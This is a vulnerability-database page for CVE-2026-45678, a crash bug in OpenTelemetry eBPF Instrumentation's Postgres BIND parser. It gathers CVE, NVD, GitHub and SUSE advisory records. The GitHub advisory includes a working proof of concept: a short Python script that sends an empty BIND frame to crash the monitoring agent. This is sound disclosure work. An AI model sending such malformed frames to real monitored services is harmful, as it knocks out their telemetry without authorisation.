Vulnerability-Lookup

CVE-2026-45678 (GCVE-0-2026-45678)

Vulnerability from cvelistv5 – Published: 2026-06-02 15:24 – Updated: 2026-06-02 15:54

Title

OpenTelemetry eBPF Instrumentation: Postgres BIND parsing can panic on malformed payloads

Summary

OpenTelemetry eBPF Instrumentation provides eBPF instrumentation based on the OpenTelemetry standard. Prior to version 0.9.0, the Postgres protocol parser assumes BIND message payloads contain a valid NUL-terminated portal name. A crafted empty or unterminated payload can make OBI slice beyond the end of the captured buffer and panic. This issue has been patched in version 0.9.0.

Severity

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-06-02 15:54 UTC

CWE

CWE-20 - Improper Input Validation
CWE-754 - Improper Check for Unusual or Exceptional Conditions

Assigner

GitHub_M mitre root

References

2 references

URL	Tags
https://github.com/open-telemetry/opentelemetry-e…	x_refsource_CONFIRM
https://github.com/open-telemetry/opentelemetry-e…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
open-telemetry	opentelemetry-ebpf-instrumentation	Affected: < 0.9.0

Show details on NVD website

JSON

To clipboard

{
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    "adp": [
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        "metrics": [
          {
            "other": {
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                "id": "CVE-2026-45678",
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        }
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    "state": "PUBLISHED"
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      "percentile": "0.41816"
    },
    "vulnrichment": {
      "containers": {
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          {
            "metrics": [
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                "other": {
                  "content": {
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              }
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            "title": "CISA ADP Vulnrichment"
          }
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            }
          ],
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                "privilegesRequired": "NONE",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
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            {
              "descriptions": [
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                  "lang": "en",
                  "type": "CWE"
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              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-06-02T15:24:12.340Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
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          },
          "references": [
            {
              "name": "https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/security/advisories/GHSA-pgvv-q3wf-mm9m",
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          ],
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            "discovery": "UNKNOWN"
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          "title": "OpenTelemetry eBPF Instrumentation: Postgres BIND parsing can panic on malformed payloads"
        }
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}

FKIE_CVE-2026-45678

Vulnerability from fkie_nvd - Published: 2026-06-02 16:16 - Updated: 2026-07-22 19:10

Severity

7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/releases/tag/v0.9.0	Product, Release Notes
security-advisories@github.com	https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/security/advisories/GHSA-pgvv-q3wf-mm9m	Exploit, Vendor Advisory
134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/security/advisories/GHSA-pgvv-q3wf-mm9m	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	opentelemetry	ebpf_instrumentation	*

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "opentelemetry-ebpf-instrumentation",
          "vendor": "open-telemetry",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.9.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:opentelemetry:ebpf_instrumentation:*:*:*:*:*:go:*:*",
              "matchCriteriaId": "72CC55EE-4DFB-417E-B148-642944DFC24F",
              "versionEndExcluding": "0.9.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "OpenTelemetry eBPF Instrumentation provides eBPF instrumentation based on the OpenTelemetry standard. Prior to version 0.9.0, the Postgres protocol parser assumes BIND message payloads contain a valid NUL-terminated portal name. A crafted empty or unterminated payload can make OBI slice beyond the end of the captured buffer and panic. This issue has been patched in version 0.9.0."
    },
    {
      "lang": "es",
      "value": "OpenTelemetry eBPF Instrumentation proporciona instrumentaci\u00f3n eBPF basada en el est\u00e1ndar OpenTelemetry. Antes de la versi\u00f3n 0.9.0, el analizador del protocolo Postgres asume que las cargas \u00fatiles de los mensajes BIND contienen un nombre de portal v\u00e1lido terminado en NUL. Una carga \u00fatil manipulada vac\u00eda o sin terminar puede hacer que OBI rebase el final del b\u00fafer capturado y entre en p\u00e1nico. Este problema ha sido parcheado en la versi\u00f3n 0.9.0."
    }
  ],
  "id": "CVE-2026-45678",
  "lastModified": "2026-07-22T19:10:00.120",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-45678",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-06-02T15:54:02.639290Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-06-02T16:16:42.287",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Product",
        "Release Notes"
      ],
      "url": "https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/releases/tag/v0.9.0"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/security/advisories/GHSA-pgvv-q3wf-mm9m"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/security/advisories/GHSA-pgvv-q3wf-mm9m"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-20"
        },
        {
          "lang": "en",
          "value": "CWE-754"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-PGVV-Q3WF-MM9M

Vulnerability from github – Published: 2026-05-18 17:56 – Updated: 2026-06-09 10:58

Summary

OpenTelemetry eBPF Instrumentation: Postgres BIND parsing can panic on malformed payloads

Details

Summary

The Postgres protocol parser assumes BIND message payloads contain a valid NUL-terminated portal name. A crafted empty or unterminated payload can make OBI slice beyond the end of the captured buffer and panic.

Details

The vulnerable logic is in pkg/ebpf/common/sql_detect_postgres.go. In the BIND case, OBI converts the full payload to a string with unix.ByteSliceToString(msg.data), computes portalLen := len(portal) + 1, and then slices msg.data[portalLen:] to derive the statement name.

There is no check that msg.data actually contains a NUL terminator or even enough bytes for portalLen. With an empty payload or a truncated message, portalLen can exceed the slice length and trigger a runtime panic.

PoC

Local testing with a minimal reproducer showed the expected slice bounds out of range crash for an empty BIND payload.

Use a vulnerable build:

git checkout v0.0.0-rc.1+build
make build

Start a local Postgres instance and OBI:

docker run --rm -e POSTGRES_PASSWORD=postgres -p 5432:5432 postgres:17
sudo ./bin/obi

Send a malformed BIND frame with an empty payload:

# save as /tmp/pg-bind-poc.py
import socket, struct

tag = b'B'
length = struct.pack(">I", 4)
payload = b""

s = socket.create_connection(("127.0.0.1", 5432))
s.sendall(tag + length + payload)
s.close()

Run it:

python3 /tmp/pg-bind-poc.py

On a vulnerable build, the Postgres parser in OBI panics while processing the captured payload.

Impact

This is a remote availability issue in OBI's Postgres parser. Any attacker able to send malformed Postgres traffic to a monitored service can crash the agent and stop telemetry collection for that node or process.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "go.opentelemetry.io/obi"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45678"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-754"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-18T17:56:26Z",
    "nvd_published_at": "2026-06-02T16:16:42Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe Postgres protocol parser assumes `BIND` message payloads contain a valid NUL-terminated portal name. A crafted empty or unterminated payload can make OBI slice beyond the end of the captured buffer and panic.\n\n### Details\n\nThe vulnerable logic is in [pkg/ebpf/common/sql_detect_postgres.go](https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/blob/d5691806adc98008bacd2b7a4a4e0cd38ea51227/pkg/components/ebpf/common/sql_detect_postgres.go#L286-L294). In the `BIND` case, OBI converts the full payload to a string with `unix.ByteSliceToString(msg.data)`, computes `portalLen := len(portal) + 1`, and then slices `msg.data[portalLen:]` to derive the statement name.\n\nThere is no check that `msg.data` actually contains a NUL terminator or even enough bytes for `portalLen`. With an empty payload or a truncated message, `portalLen` can exceed the slice length and trigger a runtime panic.\n\n### PoC\n\nLocal testing with a minimal reproducer showed the expected `slice bounds out of range` crash for an empty BIND payload.\n\nUse a vulnerable build:\n\n```bash\ngit checkout v0.0.0-rc.1+build\nmake build\n```\n\nStart a local Postgres instance and OBI:\n\n```bash\ndocker run --rm -e POSTGRES_PASSWORD=postgres -p 5432:5432 postgres:17\nsudo ./bin/obi\n```\n\nSend a malformed `BIND` frame with an empty payload:\n\n```python\n# save as /tmp/pg-bind-poc.py\nimport socket, struct\n\ntag = b\u0027B\u0027\nlength = struct.pack(\"\u003eI\", 4)\npayload = b\"\"\n\ns = socket.create_connection((\"127.0.0.1\", 5432))\ns.sendall(tag + length + payload)\ns.close()\n```\n\nRun it:\n\n```bash\npython3 /tmp/pg-bind-poc.py\n```\n\nOn a vulnerable build, the Postgres parser in OBI panics while processing the captured payload.\n\n### Impact\n\nThis is a remote availability issue in OBI\u0027s Postgres parser. Any attacker able to send malformed Postgres traffic to a monitored service can crash the agent and stop telemetry collection for that node or process.",
  "id": "GHSA-pgvv-q3wf-mm9m",
  "modified": "2026-06-09T10:58:02Z",
  "published": "2026-05-18T17:56:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/security/advisories/GHSA-pgvv-q3wf-mm9m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45678"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/releases/tag/v0.9.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenTelemetry eBPF Instrumentation: Postgres BIND parsing can panic on malformed payloads"
}

OPENSUSE-SU-2026:11053-1

Vulnerability from csaf_opensuse - Published: 2026-06-18 00:00 - Updated: 2026-09-17 17:10

Summary

alloy-1.17.0-1.1 on GA media

Severity

Moderate

Scope

14 vulnerabilities in this advisory, including CVE-2026-45678.

CVE-2026-45678

7.5 (High)


                
                  CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Recommended: 4 products

Open the full advisory

OPENSUSE-SU-2026:21251-1

Vulnerability from csaf_opensuse - Published: 2026-07-07 17:00 - Updated: 2026-09-17 17:38

Summary

Security update for alloy

Severity

Important

Scope

26 vulnerabilities in this advisory, including CVE-2026-45678.

CVE-2026-45678

7.5 (High)


                
                  CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Recommended: 4 products

Open the full advisory

SUSE-SU-2026:22575-1

Vulnerability from csaf_suse - Published: 2026-07-07 16:59 - Updated: 2026-09-17 16:00

Summary

Security update for alloy

Severity

Important

Scope

26 vulnerabilities in this advisory, including CVE-2026-45678.

CVE-2026-45678

7.5 (High)


                
                  CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Recommended: 8 products

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Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-45678 (GCVE-0-2026-45678)

FKIE_CVE-2026-45678

GHSA-PGVV-Q3WF-MM9M

Summary

Details

PoC

Impact

OPENSUSE-SU-2026:11053-1

OPENSUSE-SU-2026:21251-1

SUSE-SU-2026:22575-1

Tags

Sightings

Nomenclature

Related by attack behaviour